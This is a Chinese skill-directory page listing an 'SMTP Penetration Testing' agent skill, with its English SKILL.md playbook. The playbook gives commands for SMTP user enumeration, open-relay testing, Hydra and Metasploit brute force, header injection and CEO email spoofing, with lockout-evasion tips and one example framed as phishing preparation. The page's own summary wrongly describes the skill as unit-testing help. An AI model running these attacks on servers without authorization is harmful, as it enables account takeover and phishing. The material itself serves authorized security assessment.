Token导航 LogoToken导航TokenDH.com
研究检索需要联网github未标认证来源可访问clear审计异常

smtp-penetration-testingsmtp 渗透测试

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

1,283

周安装

60

GitHub Stars

4,061

下载量

754
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

3

许可证

MIT

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:smtp-penetration-testing(smtp 渗透测试)
来源仓库:https://github.com/zebbern/claude-code-guide
仓库路径:skills/smtp-penetration-testing
安装命令:
npx skills add https://github.com/zebbern/claude-code-guide --skill 'SMTP Penetration Testing'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。不同来源提供的安装方式可能略有差异;本站展示可直接复制的安装命令,安装前请核对来源页面。

skills.shnpx skills
npx skills add https://github.com/zebbern/claude-code-guide --skill 'SMTP Penetration Testing'

简介

smtp-penetration-testing 用于辅助测试设计、自动化测试和用例整理。

  • 适合让 Agent 编写单元测试、端到端测试或根据失败日志定位问题。
  • 使用时需确认项目测试框架、运行命令和夹具数据,避免误改真实逻辑。
  • 涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

SMTP Penetration Testing

Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

  • SMTP protocol fundamentals
  • Email architecture (MTA, MDA, MUA)
  • DNS and MX records
  • Network protocols

Required Access

  • Target SMTP server IP/hostname
  • Written authorization for testing
  • Wordlists for enumeration and brute force

Outputs and Deliverables

  1. SMTP Security Assessment Report - Comprehensive vulnerability findings
  2. User Enumeration Results - Valid email addresses discovered
  3. Relay Test Results - Open relay status and exploitation potential
  4. Remediation Recommendations - Security hardening guidance

Core Workflow

Phase 1: SMTP Architecture Understanding

Components: MTA (transfer) → MDA (delivery) → MUA (client)

Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

Parse banner information:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com

# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>

RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Using Medusa:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Using Metasploit:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

Phase 8: SMTP Command Injection

Test for command injection vulnerabilities:

# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header

Injected content
.

Email spoofing test:

# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.

Phase 9: TLS/SSL Security Testing

Test encryption configuration:

# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp

# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465

# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP

Phase 10: SPF, DKIM, DMARC Analysis

Check email authentication records:

# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC

# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

Quick Reference

Essential SMTP Commands

CommandPurposeExample
HELOIdentify clientHELO client.com
EHLOExtended HELOEHLO client.com
MAIL FROMSet senderMAIL FROM:<sender@test.com>
RCPT TOSet recipientRCPT TO:<user@target.com>
DATAStart message bodyDATA
VRFYVerify userVRFY admin
EXPNExpand aliasEXPN staff
QUITEnd sessionQUIT

SMTP Response Codes

CodeMeaning
220Service ready
221Closing connection
250OK / Requested action completed
354Start mail input
421Service not available
450Mailbox unavailable
550User unknown / Mailbox not found
553Mailbox name not allowed

Enumeration Tool Commands

ToolCommand
smtp-user-enumsmtp-user-enum -M VRFY -U users.txt -t IP
Nmapnmap --script smtp-enum-users -p 25 IP
Metasploituse auxiliary/scanner/smtp/smtp_enum
Netcatnc IP 25 then manual commands

Common Vulnerabilities

VulnerabilityRiskTest Method
Open RelayHighRelay test with external recipient
User EnumerationMediumVRFY/EXPN/RCPT commands
Banner DisclosureLowBanner grabbing
Weak AuthHighBrute force attack
No TLSMediumSTARTTLS test
Missing SPF/DKIMMediumDNS record lookup

Constraints and Limitations

Legal Requirements

  • Only test SMTP servers you own or have authorization to test
  • Sending spam or malicious emails is illegal
  • Document all testing activities
  • Do not abuse discovered open relays

Technical Limitations

  • VRFY/EXPN often disabled on modern servers
  • Rate limiting may slow enumeration
  • Some servers respond identically for valid/invalid users
  • Greylisting may delay enumeration responses

Ethical Boundaries

  • Never send actual spam through discovered relays
  • Do not harvest email addresses for malicious use
  • Report open relays to server administrators
  • Use findings only for authorized security improvement

Examples

Example 1: Complete SMTP Assessment

Scenario: Full security assessment of mail server

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com

# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Example 2: User Enumeration Attack

Scenario: Enumerate valid users for phishing preparation

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Example 3: Open Relay Exploitation

Scenario: Test and document open relay vulnerability

# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# If 250 OK - VULNERABLE

# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com

# Output:
# PORT   STATE SERVICE
# 25/tcp open  smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)

Troubleshooting

IssueCauseSolution
Connection RefusedPort blocked or closedCheck port with nmap; ISP may block port 25; try 587/465; use VPN
VRFY/EXPN DisabledServer hardenedUse RCPT TO method; analyze response time/code variations
Brute Force BlockedRate limiting/lockoutSlow down (hydra -W 5); use password spraying; check for fail2ban
SSL/TLS ErrorsWrong port or protocolUse 465 for SSL, 25/587 for STARTTLS; verify EHLO response

Security Recommendations

For Administrators

  1. Disable Open Relay - Require authentication for external delivery
  2. Disable VRFY/EXPN - Prevent user enumeration
  3. Enforce TLS - Require STARTTLS for all connections
  4. Implement SPF/DKIM/DMARC - Prevent email spoofing
  5. Rate Limiting - Prevent brute force attacks
  6. Account Lockout - Lock accounts after failed attempts
  7. Banner Hardening - Minimize server information disclosure
  8. Log Monitoring - Alert on suspicious activity
  9. Patch Management - Keep SMTP software updated
  10. Access Controls - Restrict SMTP to authorized IPs

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

04

需要参考平台分布和安装热度时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

补充不同宿主或平台的使用分布数据

能力 5

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Antigravity

28.96%
按下载量换算218

Claude Code

22.67%
按下载量换算171

trae

16.61%
按下载量换算125

Gemini CLI

14.46%
按下载量换算109

windsurf

7.54%
按下载量换算57

OpenCode

3.72%
按下载量换算28

安全审计

Gen Agent Trust Hub

通过

Socket

未通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。来源字段存在多来源差异,先按来源优先级自动处理,无法消解时进入异常复核队列。

来源信息

继续浏览同类 Skills